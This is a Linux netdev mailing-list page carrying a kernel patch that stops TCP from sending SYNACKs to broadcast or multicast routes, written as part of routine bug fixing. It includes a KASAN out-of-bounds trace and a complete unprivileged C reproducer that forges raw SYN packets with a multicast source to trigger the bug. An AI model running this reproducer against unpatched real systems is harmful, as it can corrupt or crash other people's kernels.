Netdev List
 help / color / mirror / Atom feed
* [PATCH net v2] tcp: do not send a SYNACK to a broadcast or multicast address
@ 2026-10-08 11:49 Theodor Arsenij Larionov Trichkine
  2026-10-08 11:56 ` netdev-bot+sinfo
  2026-10-09  2:23 ` Jiayuan Chen
  0 siblings, 2 replies; 3+ messages in thread
From: Theodor Arsenij Larionov Trichkine @ 2026-10-08 11:49 UTC (permalink / raw)
  To: edumazet, ncardwell, kuniyu, davem, kuba, pabeni
  Cc: horms, netdev, linux-kernel, Theodor Arsenij Larionov Trichkine

tcp_v4_conn_request() drops a SYN sent to a broadcast or multicast
address. The SYNACK route has no such check. A SYN with a multicast
source address can reach a listener when it is looped back with its
dst attached: ip_rcv_finish_core() then skips ip_route_input_noref()
and its martian source check. A raw IP_HDRINCL socket sending to a
local address does this, as does re-injection by nft dup or the
iptables TEE target.

If the SYN destination is an address on a non-loopback device and the
source is a group joined there (such as 224.0.0.1), the SYNACK route
has RTCF_MULTICAST and RTCF_LOCAL set, and ip_build_and_send_pkt()
sends it through ip_mc_output(). skb->sk of a SYNACK is the request
socket, so sk_mc_loop() reads inet_flags past the end of it:

BUG: KASAN: slab-out-of-bounds in sk_mc_loop+0x111/0x170
Read of size 8 at addr ffff88800f2b7f10 by task repro-raw/470
Call Trace:
 <IRQ>
 sk_mc_loop+0x111/0x170
 ip_mc_output+0x355/0x930
 ip_build_and_send_pkt+0xb87/0xc50
 tcp_v4_send_synack+0x500/0x6f0
 tcp_conn_request+0x2135/0x2d90
 tcp_v4_conn_request+0xa5/0x210
 tcp_rcv_state_process+0x136e/0x6920
 tcp_v4_do_rcv+0x339/0xb10
 tcp_v4_rcv+0x34ab/0x3ab0
 ip_protocol_deliver_rcu+0x6e/0x3e0
 ip_local_deliver_finish+0x34d/0x510
 ip_local_deliver+0x1bc/0x310
 ip_rcv+0x390/0x410
 __netif_receive_skb_one_core+0x199/0x1e0
 process_backlog+0x239/0x680
 __napi_poll+0xb5/0x650
 net_rx_action+0x980/0xd60
 handle_softirqs+0x17f/0x590
 do_softirq+0x3f/0x60
 </IRQ>
 <TASK>
 __local_bh_enable_ip+0x66/0x80
 __dev_queue_xmit+0xa65/0x3520
 ip_finish_output2+0xb00/0x16f0
 ip_output+0x2ad/0x4a0
 raw_sendmsg+0x245b/0x28e0
 inet_sendmsg+0x121/0x150
 __sys_sendto+0x450/0x4e0
 do_syscall_64+0xf6/0x500
 </TASK>

Allocated by task 470:
 inet_reqsk_alloc+0x97/0x6f0
 tcp_conn_request+0x4c6/0x2d90
 tcp_v4_conn_request+0xa5/0x210

The buggy address belongs to the object at ffff88800f2b7d60
 which belongs to the cache request_sock_TCP of size 312
The buggy address is located 120 bytes to the right of
 allocated 312-byte region [ffff88800f2b7d60, ffff88800f2b7e98)

Apply the same check to the SYNACK route in inet_csk_route_req().

Fixes: ca6fb0651883 ("tcp: attach SYNACK messages to request sockets instead of listener")
Suggested-by: Eric Dumazet <edumazet@kernel.org>
Signed-off-by: Theodor Arsenij Larionov Trichkine <theodorlarionov@gmail.com>
---
v2:
- Reject broadcast/multicast SYNACK routes in inet_csk_route_req() (Eric Dumazet).
- Describe how the SYN reaches the listener; add KASAN splat and repro.
v1: https://lore.kernel.org/netdev/20261008100423.1256884-1-theodorlarionov@gmail.com/

Reproducer (unprivileged, user + network namespace):

// gcc -O2 -static -o repro repro.c && ./repro
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>

#define LOCAL_ADDR "10.0.0.1"	/* address of dummy0 */
#define MCAST_SRC  "224.0.0.1"	/* all-hosts, joined on every interface */
#define PORT       20000

static void die(const char *m) { perror(m); exit(1); }

static void wr(const char *path, const char *buf)
{
	int fd = open(path, O_WRONLY);

	if (fd < 0 || write(fd, buf, strlen(buf)) < 0)
		die(path);
	close(fd);
}

static void run(const char *cmd)
{
	if (system(cmd))
		fprintf(stderr, "failed: %s\n", cmd);
}

static uint16_t csum(const uint8_t *p, int len)
{
	uint32_t s = 0;
	int i;

	for (i = 0; i + 1 < len; i += 2)
		s += (p[i] << 8) | p[i + 1];
	if (i < len)
		s += p[i] << 8;
	while (s >> 16)
		s = (s & 0xffff) + (s >> 16);
	return ~s;
}

int main(void)
{
	char map[64];
	int uid = getuid(), gid = getgid();

	if (unshare(CLONE_NEWUSER | CLONE_NEWNET))
		die("unshare");
	wr("/proc/self/setgroups", "deny");
	snprintf(map, sizeof(map), "0 %d 1", uid);
	wr("/proc/self/uid_map", map);
	snprintf(map, sizeof(map), "0 %d 1", gid);
	wr("/proc/self/gid_map", map);

	run("ip link set lo up");
	run("ip link add dummy0 type dummy");
	run("ip addr add " LOCAL_ADDR "/24 dev dummy0");
	run("ip link set dummy0 up");

	int l = socket(AF_INET, SOCK_STREAM, 0);
	struct sockaddr_in a = {
		.sin_family = AF_INET,
		.sin_port = htons(PORT),
	};
	if (l < 0 || bind(l, (struct sockaddr *)&a, sizeof(a)) || listen(l, 128))
		die("listen");

	int raw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (raw < 0)
		die("raw socket");

	uint8_t pkt[40] = { 0 }, ph[32];
	uint32_t saddr = inet_addr(MCAST_SRC), daddr = inet_addr(LOCAL_ADDR);

	pkt[0] = 0x45;			/* IPv4, ihl 5 */
	pkt[3] = sizeof(pkt);		/* tot_len */
	pkt[8] = 64;			/* ttl */
	pkt[9] = IPPROTO_TCP;
	memcpy(pkt + 12, &saddr, 4);
	memcpy(pkt + 16, &daddr, 4);
	pkt[22] = PORT >> 8;		/* dport */
	pkt[23] = PORT & 0xff;
	pkt[32] = 5 << 4;		/* doff */
	pkt[33] = 0x02;			/* SYN */
	pkt[34] = 0x40;			/* window */

	for (int i = 0; i < 100; i++) {
		uint16_t c, sport = 10000 + i;
		struct sockaddr_in to = {
			.sin_family = AF_INET,
			.sin_addr.s_addr = daddr,
		};

		pkt[20] = sport >> 8;
		pkt[21] = sport & 0xff;
		pkt[36] = pkt[37] = 0;
		memcpy(ph, pkt + 12, 8);	/* pseudo header */
		ph[8] = 0;
		ph[9] = IPPROTO_TCP;
		ph[10] = 0;
		ph[11] = 20;
		memcpy(ph + 12, pkt + 20, 20);
		c = csum(ph, sizeof(ph));
		pkt[36] = c >> 8;
		pkt[37] = c & 0xff;
		if (sendto(raw, pkt, sizeof(pkt), 0, (struct sockaddr *)&to, sizeof(to)) < 0)
			die("sendto");
	}
	sleep(1);
	return 0;
}

 net/ipv4/inet_connection_sock.c | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/net/ipv4/inet_connection_sock.c b/net/ipv4/inet_connection_sock.c
index 6a30f1138454..aa928015cd14 100644
--- a/net/ipv4/inet_connection_sock.c
+++ b/net/ipv4/inet_connection_sock.c
@@ -779,6 +779,9 @@ struct dst_entry *inet_csk_route_req(const struct sock *sk,
 		goto no_route;
 	if (opt && opt->opt.is_strictroute && rt->rt_uses_gateway)
 		goto route_err;
+	/* Never send a SYNACK to a broadcast or multicast destination. */
+	if (rt->rt_flags & (RTCF_BROADCAST | RTCF_MULTICAST))
+		goto route_err;
 	rcu_read_unlock();
 	return &rt->dst;
 

base-commit: 6d25ffca055a77787c21a36b66c253f76239411b
-- 
2.34.1


^ permalink raw reply related	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2026-10-09  2:24 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-08 11:49 [PATCH net v2] tcp: do not send a SYNACK to a broadcast or multicast address Theodor Arsenij Larionov Trichkine
2026-10-08 11:56 ` netdev-bot+sinfo
2026-10-09  2:23 ` Jiayuan Chen

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox